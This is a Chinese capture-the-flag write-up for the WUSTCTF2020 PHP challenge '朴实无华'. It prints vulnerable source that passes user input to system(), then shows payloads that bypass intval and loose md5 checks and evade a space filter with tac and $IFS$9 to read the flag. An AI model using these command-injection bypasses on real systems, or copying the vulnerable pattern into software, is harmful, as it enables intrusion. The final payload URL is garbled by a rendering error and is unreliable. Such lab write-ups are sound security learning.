[WUSTCTF2020]朴实无华
隔了几天了,继续刷题,
一上来就叫我hack他这不好吧,看看有没有下手点
发现了乱码,改一下文字编码,在标签栏右击打开显示菜单栏>文字编码>自动
bot?bot?bot?!robots!!,好吧robots.txt这个我是工具扫出来的,我的做法确实zz了,看一下吧
访问该页面,
好家伙,fake!想起开始的提示header,抓个包看看
访问fl4g.php
好家伙,让我去非洲哇
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
看看源码,三层绕过才能逃离去非洲的命运,
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
传入一个参数num,经过intval函数既要小于2020并且加一要大于2021,看一下这个函数
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
利用这个应该是可以绕过的,本地测试一下
成功绕过,传入参数
诶?!变穷人啦?!后来猜测可能是传入num值后台会自动转成字符串,由于开启了error_reporting(0);,所以就算报错咱也不知道~
于是重新构造url:http://c7f76099-3fda-4868-95c7-00834079ab2f.node4.buuoj.cn/fl4g.php?num=2e4
欸嘿,劳力士有了,开始绕过第二关,炒我的拿手小菜
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
get传入MD5要使加密前后==,百度一下:0e215962017
哦吼吼吼吼,flag在朝我招手了
第三关:
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
传入的get_flag不能有空格
传入的cat会被替换为wctf2020
传入的get_flag会当作系统命令被执行
管他那么多先看一下当前目录下都有什么
我们的flag应该就在最长的那个文件里,读文件一般使用cat,但是cat会被替换,所以可以使用tac
另外一点就是,无论哪个命令,后面接一个文件都需要先空格,即tac fllllaaaag,但是这里根据逻辑不能填空格
解决方法,利用$IFSKaTeX parse error: Expected 'EOF', got '&' at position 137: …l4g.php?num=2e4&̲md5=0e215962017…IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥

本文记录了一名参赛者在WUSTCTF2020中逐步破解谜题的过程,从发现乱码到逐层绕过安全检查,展现了技术与策略的结合,最终揭示flag的故事。
4814

被折叠的 条评论
为什么被折叠?



